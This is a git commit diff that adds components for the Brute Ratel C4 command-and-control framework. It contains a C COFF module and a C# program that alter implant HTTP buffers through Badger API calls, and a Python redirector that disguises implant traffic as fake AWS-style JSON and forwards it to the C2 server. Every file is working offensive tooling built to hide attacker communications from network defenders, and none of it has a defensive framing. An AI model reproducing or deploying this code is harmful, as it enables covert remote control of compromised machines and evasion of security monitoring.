initial commit
This commit is contained in:
@@ -0,0 +1,18 @@
|
||||
#include <windows.h>
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch);
|
||||
DECLSPEC_IMPORT int BadgerDispatch(WCHAR** dispatch, const char *__format, ...);
|
||||
DECLSPEC_IMPORT int BadgerDispatchW(WCHAR** dispatch, const WCHAR*__format, ...);
|
||||
DECLSPEC_IMPORT size_t BadgerStrlen(CHAR* buf);
|
||||
DECLSPEC_IMPORT size_t BadgerWcslen(WCHAR* buf);
|
||||
DECLSPEC_IMPORT void *BadgerMemcpy(void *dest, const void *src, size_t len) ;
|
||||
DECLSPEC_IMPORT void *BadgerMemset(void *dest, int val, size_t len);
|
||||
DECLSPEC_IMPORT int BadgerStrcmp(const char *p1, const char *p2);
|
||||
DECLSPEC_IMPORT int BadgerWcscmp(const wchar_t *s1, const wchar_t *s2);
|
||||
DECLSPEC_IMPORT int BadgerAtoi(char* string);
|
||||
DECLSPEC_IMPORT PVOID BadgerAlloc(SIZE_T length);
|
||||
DECLSPEC_IMPORT VOID BadgerFree(PVOID *memptr);
|
||||
DECLSPEC_IMPORT BOOL BadgerSetdebug();
|
||||
DECLSPEC_IMPORT ULONG BadgerGetBufferSize(PVOID buffer);
|
||||
DECLSPEC_IMPORT UINT_PTR BadgerSpoofStackFrame(UINT_PTR pWinAPI, int argc, ...);
|
||||
DECLSPEC_IMPORT VOID BadgerSetHTTPBuffer(PVOID buffer);
|
||||
@@ -0,0 +1 @@
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /t:exe /out:modify_http.exe modify_http.cs
|
||||
@@ -0,0 +1,148 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
import threading
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
import ssl
|
||||
import sys
|
||||
import requests
|
||||
import urllib3
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
import logging
|
||||
|
||||
DEBUG_LOGS = False
|
||||
BRC4_LISTENER_URL = ""
|
||||
BRC4_USERAGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36"
|
||||
|
||||
PostRequestPrepend = "{\n \"Action\": \"CreateResource\",\n \"Service\": \"ExampleService\",\n \"Version\": \"2019-09-01\",\n \"Region\": \"us-east-1\",\n \"Timestamp\": \"2023-09-04T12:00:00Z\",\n \"Credentials\": {\n \"AccessKeyId\": \"YOUR_ACCESS_KEY_ID\",\n \"SecretAccessKey\": \""
|
||||
PostRequestPrependLength = len(PostRequestPrepend)
|
||||
PostRequestAppend = "\"\n },\n \"RequestParameters\": {\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}"
|
||||
PostRequestAppendLength = len(PostRequestAppend)
|
||||
|
||||
PostResponsePrepend = "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \""
|
||||
PostResponsePrependLength = len(PostResponsePrepend)
|
||||
PostResponseAppend = "\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}"
|
||||
PostResponseAppendLength = len(PostResponseAppend)
|
||||
|
||||
PostEmptyResponse = "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"12345678-1234-5678-1234-567812345678\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}\n"
|
||||
PostEmptyResponseLength = (PostEmptyResponse)
|
||||
|
||||
logging.basicConfig(
|
||||
format='%(asctime)s - %(levelname)s - %(message)s',
|
||||
level=logging.INFO, # Set log level to DEBUG
|
||||
datefmt='%Y-%m-%d %H:%M:%S' # Specify the date and time format
|
||||
)
|
||||
|
||||
def ModifyPostRequest(postData):
|
||||
postData = postData[PostRequestPrependLength:-PostRequestAppendLength]
|
||||
postData = postData.replace("$", "")
|
||||
postData = PostRequestPrepend + postData + PostRequestAppend
|
||||
if not DEBUG_LOGS:
|
||||
print(".")
|
||||
return postData
|
||||
|
||||
def ModifyPostResponse(postResponse):
|
||||
if (postResponse != PostEmptyResponse):
|
||||
postResponse = postResponse[PostResponsePrependLength:-PostResponseAppendLength]
|
||||
part_size = 5
|
||||
if part_size <= 0 or part_size > len(postResponse):
|
||||
return postResponse
|
||||
parts = [postResponse[i:i + part_size] for i in range(0, len(postResponse), part_size)]
|
||||
postResponse = "$".join(parts)
|
||||
postResponse = PostResponsePrepend + postResponse + PostResponseAppend
|
||||
return postResponse
|
||||
|
||||
|
||||
class Stager(BaseHTTPRequestHandler):
|
||||
def _set_headers(self):
|
||||
self.send_response(200)
|
||||
self.send_header("Content-type", "application/json")
|
||||
self.end_headers()
|
||||
|
||||
def _html(self, message):
|
||||
content = f"{message}"
|
||||
return content.encode("utf8")
|
||||
|
||||
def do_GET(self):
|
||||
self._set_headers()
|
||||
self.wfile.write(self._html("404 Not Found"))
|
||||
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
||||
logging.info("[" + currtime + "] GET request from " + self.address_string())
|
||||
for x, y in self.headers.items():
|
||||
print(" - ", x, ": ", y )
|
||||
print("------------------------------------------------------------")
|
||||
|
||||
def do_HEAD(self):
|
||||
self._set_headers()
|
||||
self.wfile.write(self._html("404 Not Found"))
|
||||
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
||||
logging.info("[" + currtime + "] HEAD request from " + self.address_string())
|
||||
for x, y in self.headers.items():
|
||||
print(" - ", x, ": ", y )
|
||||
print("------------------------------------------------------------")
|
||||
|
||||
def do_POST(self):
|
||||
# verifying that useragent matches
|
||||
if (self.headers["User-Agent"] == BRC4_USERAGENT):
|
||||
try:
|
||||
global DEBUG_LOGS
|
||||
postRequest = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8'))
|
||||
if DEBUG_LOGS:
|
||||
datalen = len(postRequest)
|
||||
logging.info(f"Received from badger: {datalen} bytes (START)")
|
||||
postRequest = ModifyPostRequest(postRequest)
|
||||
headers = {
|
||||
"Content-Type": "application/json",
|
||||
"User-Agent": BRC4_USERAGENT,
|
||||
}
|
||||
if DEBUG_LOGS:
|
||||
datalen = len(postRequest)
|
||||
logging.info(f"Sent to BRc4 server: {datalen} bytes")
|
||||
response = requests.post(BRC4_LISTENER_URL, postRequest, headers=headers, verify=False)
|
||||
if DEBUG_LOGS:
|
||||
datalen = len(response.text)
|
||||
logging.info(f"Received from BRc4 server: {datalen} bytes")
|
||||
postResponse = ModifyPostResponse(response.text)
|
||||
if DEBUG_LOGS:
|
||||
datalen = len(postResponse)
|
||||
logging.info(f"Sent to badger: {datalen} bytes (END)")
|
||||
self._set_headers()
|
||||
self.wfile.write(postResponse.encode("utf-8"))
|
||||
except Exception as ex:
|
||||
logging.info("[-] Exception: ", ex)
|
||||
|
||||
def log_message(self, format, *args):
|
||||
return
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='BRc4 HTTP Mutating Server Example 0.1')
|
||||
parser.add_argument('-c', '--cert', type=str, required=True, help="certificate file")
|
||||
parser.add_argument('-k', '--key', type=str, required=True, help="certificate key")
|
||||
parser.add_argument('-f', '--forward', type=str, required=True, help="BRc4 server to forward. Eg.: '172.16.219.1:10443'")
|
||||
parser.add_argument('-l', '--listener', type=str, required=True, help="Listener host and port. Eg.: '172.16.219.1:443'")
|
||||
parser.add_argument('-u', '--url', type=str, required=True, help="BRc4 URL to forward")
|
||||
parser.add_argument('-d', '--debug', action='store_true', required=False, help="Enable debug logs")
|
||||
args = parser.parse_args()
|
||||
|
||||
listenerHost = args.listener.split(":")[0]
|
||||
listenerPort = args.listener.split(":")[1]
|
||||
if not args.url.startswith("/"):
|
||||
args.url = "/" + args.url
|
||||
global BRC4_LISTENER_URL
|
||||
global DEBUG_LOGS
|
||||
BRC4_LISTENER_URL = "https://" + args.forward + args.url
|
||||
logging.info(f"External C2 Server: '{args.listener}' => '{BRC4_LISTENER_URL}'")
|
||||
logging.info(f"Useragent: '{BRC4_USERAGENT}'")
|
||||
if args.debug:
|
||||
logging.info(f"Debug logs enabled")
|
||||
DEBUG_LOGS = True
|
||||
server = HTTPServer((listenerHost, int(listenerPort)), Stager)
|
||||
server.socket = ssl.wrap_socket(server.socket, certfile=args.cert, keyfile=args.key, server_side=True)
|
||||
thread = threading.Thread(None, server.serve_forever)
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
thread.join()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,79 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include "badger_exports.h"
|
||||
|
||||
// compile with:
|
||||
// x86_64-w64-mingw32-gcc modify_http.c -c -o modify_http.o
|
||||
|
||||
char* RemoveDelimiter(char* src_buffer) {
|
||||
int i, j = 0;
|
||||
size_t len = BadgerStrlen(src_buffer);
|
||||
char* dst_buffer = (char*)BadgerAlloc(len + 1); // +1 for the null terminator
|
||||
if (! dst_buffer) {
|
||||
return NULL; // Allocation failed
|
||||
}
|
||||
BadgerMemcpy(dst_buffer, src_buffer, len);
|
||||
for (i = 0; i < len; i++) {
|
||||
// If the current character is not '$', copy it to the new position
|
||||
if (dst_buffer[i] != '$') {
|
||||
dst_buffer[j++] = dst_buffer[i];
|
||||
}
|
||||
}
|
||||
// Null-terminate the modified string
|
||||
dst_buffer[j] = '\0';
|
||||
return dst_buffer;
|
||||
}
|
||||
|
||||
char* DelimitBuffer(char* src_buffer, size_t part_size) {
|
||||
size_t size = BadgerStrlen(src_buffer);
|
||||
if (size == 0 || part_size == 0 || part_size > size) {
|
||||
return NULL;
|
||||
}
|
||||
// Calculate the number of parts
|
||||
size_t num_parts = (size + part_size - 1) / part_size; // ceil(size / part_size)
|
||||
size_t new_size = size + (num_parts - 1); // Additional space for delimiters
|
||||
|
||||
// Allocate memory for the new string
|
||||
char* dst_buffer = (char*)BadgerAlloc(new_size + 1); // +1 for the null terminator
|
||||
if (! dst_buffer) {
|
||||
return NULL; // Allocation failed
|
||||
}
|
||||
size_t new_index = 0;
|
||||
// Split the src_buffer and add delimiters
|
||||
for (size_t i = 0; i < size; i += part_size) {
|
||||
// Copy the part
|
||||
size_t current_part_size = (i + part_size <= size) ? part_size : (size - i);
|
||||
BadgerMemcpy(&dst_buffer[new_index], &src_buffer[i], current_part_size);
|
||||
new_index += current_part_size;
|
||||
// Add delimiter if not the last part
|
||||
if (i + part_size < size) {
|
||||
dst_buffer[new_index++] = '$';
|
||||
}
|
||||
}
|
||||
|
||||
// Null terminate the new string
|
||||
dst_buffer[new_index] = '\0';
|
||||
return dst_buffer;
|
||||
}
|
||||
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch) {
|
||||
// argc will be 2
|
||||
// argv[0] : if string "0", its request; if string "1", its response
|
||||
// argv[1] : contains request or response buffer depending on argv[0]
|
||||
|
||||
CHAR *src_buffer = argv[1];
|
||||
CHAR *dst_buffer = NULL;
|
||||
|
||||
if (BadgerStrcmp(argv[0], "0") == 0) {
|
||||
size_t part_size = 5;
|
||||
dst_buffer = DelimitBuffer(src_buffer, part_size);
|
||||
} else if (BadgerStrcmp(argv[0], "1") == 0) {
|
||||
dst_buffer = RemoveDelimiter(src_buffer);
|
||||
}
|
||||
|
||||
if (dst_buffer) {
|
||||
BadgerSetHTTPBuffer((PVOID)dst_buffer);
|
||||
BadgerFree((PVOID*)&dst_buffer);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public class HttpBufferManager {
|
||||
// Define a delegate that matches the function signature
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate void BadgerSetHTTPBufferDelegate(string argument);
|
||||
|
||||
public static void ExecutePointer(string argument, string addressString) {
|
||||
if (string.IsNullOrEmpty(addressString) || string.IsNullOrEmpty(argument)) {
|
||||
return;
|
||||
}
|
||||
// Convert the string representation of the address to an IntPtr
|
||||
IntPtr address = (IntPtr)Convert.ToInt64(addressString, 16);
|
||||
// Convert the IntPtr to a delegate
|
||||
BadgerSetHTTPBufferDelegate BadgerSetHTTPBuffer = (BadgerSetHTTPBufferDelegate)Marshal.GetDelegateForFunctionPointer(address, typeof(BadgerSetHTTPBufferDelegate));
|
||||
// Invoke the function via the delegate
|
||||
BadgerSetHTTPBuffer(argument);
|
||||
}
|
||||
|
||||
public static string RemoveDelimiter(string srcBuffer) {
|
||||
if (string.IsNullOrEmpty(srcBuffer)) {
|
||||
return null;
|
||||
}
|
||||
int length = srcBuffer.Length;
|
||||
// Allocate a buffer to store the modified string
|
||||
char[] dst_buffer = new char[length];
|
||||
int j = 0;
|
||||
for (int i = 0; i < length; i++) {
|
||||
// If the current character is not '$', copy it to the new position
|
||||
if (srcBuffer[i] != '$') {
|
||||
dst_buffer[j++] = srcBuffer[i];
|
||||
}
|
||||
}
|
||||
// Create a new string from the modified character array and return it
|
||||
return new string(dst_buffer, 0, j);
|
||||
}
|
||||
|
||||
public static string DelimitBuffer(string src_buffer, int part_size) {
|
||||
if (string.IsNullOrEmpty(src_buffer) || part_size <= 0) {
|
||||
return null;
|
||||
}
|
||||
// Calculate the number of full parts
|
||||
int fullPartsCount = src_buffer.Length / part_size;
|
||||
int remainder = src_buffer.Length % part_size;
|
||||
// Create an array to hold the parts
|
||||
string[] parts = new string[fullPartsCount + (remainder > 0 ? 1 : 0)];
|
||||
// Split the src_buffer into parts
|
||||
for (int i = 0; i < fullPartsCount; i++) {
|
||||
parts[i] = src_buffer.Substring(i * part_size, part_size);
|
||||
}
|
||||
// Add the remaining part if any
|
||||
if (remainder > 0) {
|
||||
parts[fullPartsCount] = src_buffer.Substring(fullPartsCount * part_size);
|
||||
}
|
||||
// Join the parts with the delimiter "$"
|
||||
return string.Join("$", parts);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
namespace ModifyHttp {
|
||||
class Program {
|
||||
static void Main(string[] args) {
|
||||
// argc will be 3
|
||||
// argv[0] : if string "0", its request; if string "1", its response
|
||||
// argv[1] : contains request or response buffer depending on argv[0]
|
||||
// argv[2] : contains pointer for BadgerSetHTTPBuffer (similar to COFF)
|
||||
|
||||
string src_buffer = args[1];
|
||||
string dst_buffer = "";
|
||||
|
||||
if (args[0] == "0") {
|
||||
int part_size = 5;
|
||||
dst_buffer = HttpBufferManager.DelimitBuffer(src_buffer, part_size);
|
||||
} else if (args[0] == "1") {
|
||||
dst_buffer = HttpBufferManager.RemoveDelimiter(src_buffer);
|
||||
}
|
||||
|
||||
if (dst_buffer != "") {
|
||||
HttpBufferManager.ExecutePointer(dst_buffer, args[2]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user